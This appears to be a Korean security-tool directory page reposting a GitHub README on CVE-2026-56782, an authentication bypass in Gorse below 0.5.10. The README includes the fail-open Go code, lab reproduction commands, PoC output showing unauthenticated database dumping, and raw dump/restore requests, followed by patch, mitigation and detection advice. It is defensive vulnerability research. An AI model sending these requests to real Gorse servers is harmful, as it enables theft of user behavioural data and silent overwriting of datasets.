Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-56782-Gorse-Auth-Bypass — CVE-2026-56782 — Gorse <0.5.10 인증되지 않은 DB 덤프/복원 (admin_api_key fail-open). 랩 + PoC, e2e 검증 완료. | Kitploit
도구/GitHubGitHub/biitts/cve-2026-56782-gorse-auth-bypass
Vulnerability AnalysisExploitationData ExfiltrationWeb SecurityCTFPenetration TestingAuthenticationLearning & EducationLabs & Practice

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubbiitts/cve-2026-56782-gorse-auth-bypass

CVE-2026-56782-Gorse-Auth-Bypass

CVE-2026-56782 — Gorse <0.5.10 인증되지 않은 DB 덤프/복원 (admin_api_key fail-open). 랩 + PoC, e2e 검증 완료.

저장소 보기
11개월 전아직 검토되지 않음

CVE-2026-56782 — Gorse 인증되지 않은 데이터베이스 덤프/복원 (인증 우회)

Gorse < 0.5.10 는 admin_api_key = "" 와 함께 제공됩니다. 마스터 HTTP 엔드포인트 /api/dump 및 /api/restore 는 키가 설정되지 않은 경우(기본값) 열린 실패(fails open) 방식의 관리자 확인으로 보호됩니다. 인증되지 않은, 네트워크 접근 가능한 공격자는 전체 데이터셋을 유출하거나 덮어쓸 수 있습니다.

CVECVE-2026-56782
영향Gorse < 0.5.10
수정됨0.5.10
클래스CWE-305 (기본 약점으로 인한 인증 우회) / CWE-306 (인증 누락)
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
인증없음 (기본 admin_api_key가 비어 있음)
엔드포인트GET /api/dump, POST /api/restore (마스터 HTTP, 기본 포트 8088)
상태확인됨 — zhenghaoz/gorse-in-one:0.5.8에 대해 종단간 재현됨

근본 원인

master/rest.go는 dump/restore 핸들러를 checkAdmin()으로 보호합니다:

root@kitploit:~
func (m *Master) checkAdmin(request *http.Request) bool {
    if m.Config.Master.AdminAPIKey == "" {
        return true                 // <-- fail-open: no key configured => everyone is admin
    }
    if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
        return true
    }
    return false
}

func (m *Master) dump(response http.ResponseWriter, request *http.Request) {
    if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
    ...                              // streams every user, item and feedback row
}

func (m *Master) restore(response http.ResponseWriter, request *http.Request) {
    if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
    ...                              // m.Restore(request.Body) — overwrites the dataset
}

제공된 config/config.toml은 admin_api_key = ""로 설정합니다. 기본 구성을 사용하면 checkAdmin()이 모든 요청에 대해 true를 반환합니다. X-API-Key 헤더는 전혀 확인되지 않으므로 두 엔드포인트 모두 전세계에서 읽고 쓸 수 있습니다.

영향

  • 기밀성 — GET /api/dump는 전체 데이터베이스를 스트리밍합니다: 모든 사용자 ID 및 레이블, 모든 항목, 그리고 전체 피드백 그래프(누가 무엇과 상호작용했는지). 실제 제품을 지원하는 추천 시스템의 경우 이는 대량의 PII/행동 데이터입니다.
  • 무결성/가용성 — POST /api/restore는 데이터셋을 공격자가 제공한 내용으로 대체하여, 무음 데이터 중독 또는 파괴를 가능하게 합니다.

재현

root@kitploit:~
# 1. Start the vulnerable server (official image, default config = no auth).
docker compose -f lab/docker-compose.yml up -d
#    --playground seeds a real users/items/feedback dataset to exfiltrate.

# 2. Run the PoC (no credentials).
python3 exploit.py http://127.0.0.1:8088 -o dump.bin

관찰됨:

root@kitploit:~
[*] GET http://127.0.0.1:8088/api/dump  (no X-API-Key header)
[*] HTTP 200  content-type: application/octet-stream

[+] UNAUTHENTICATED DATA EXFILTRATION CONFIRMED
    users    : 2079
    items    : 22320
    feedback : 331901
    payload  : 262747105 protobuf bytes
    sample user ids : 0-vortex, 0markill, 0q2, 0x4richard, 0x973

[*] POST http://127.0.0.1:8088/api/restore  (no X-API-Key header, EOF-only body)
[+] HTTP 200 (not 401) - checkAdmin bypassed: /api/restore is writable unauthenticated.

가짜 X-API-Key 헤더도 여전히 200을 반환합니다. 이는 admin_api_key가 설정되지 않은 경우 (열린 실패 경로) 키가 완전히 무시된다는 것을 확인합니다. 단순히 일치하지 않는 것이 아닙니다.

원시 요청

root@kitploit:~
GET /api/dump HTTP/1.1
Host: 127.0.0.1:8088
root@kitploit:~
POST /api/restore HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/octet-stream

<dump stream: int64 LE markers (-1 users, -2 items, -3 feedback, 0 EOF) + length-prefixed protobuf>

수정 방법

  • Gorse ≥ 0.5.10로 업그레이드하십시오. 이 버전은 관리자 확인에서 빈 키 열린 실패를 제거합니다 (설정되지 않은 키가 더 이상 액세스를 허용하지 않음).
  • 영향을 받는 버전의 임시 조치로, 강력한 admin_api_key (및 dashboard 자격 증명)을 설정하고, 마스터 앞에서 TLS를 종료하며, 마스터 HTTP 포트(8088)를 신뢰할 수 없는 네트워크에 노출하지 마십시오.

탐지

유효한 X-API-Key가 없는 클라이언트가 마스터 포트로 GET /api/dump 또는 POST /api/restore를 요청할 때, 그리고 /api/dump에서 대형 application/octet-stream 응답이 있을 때 경고하십시오.

요청 흐름, 덤프 스트림 형식 및 패치에 대해서는 ANALYSIS.md를 참조하십시오.


  • 작성자: Caio Fabrício — github.com/BiiTts
  • 취약점 크레딧은 원본 CVE 보고자에게 있습니다; 이 저장소는 방어 및 교육 목적의 독립적인 재현입니다. 승인된 보안 테스트에만 사용하십시오.
도구 다운로드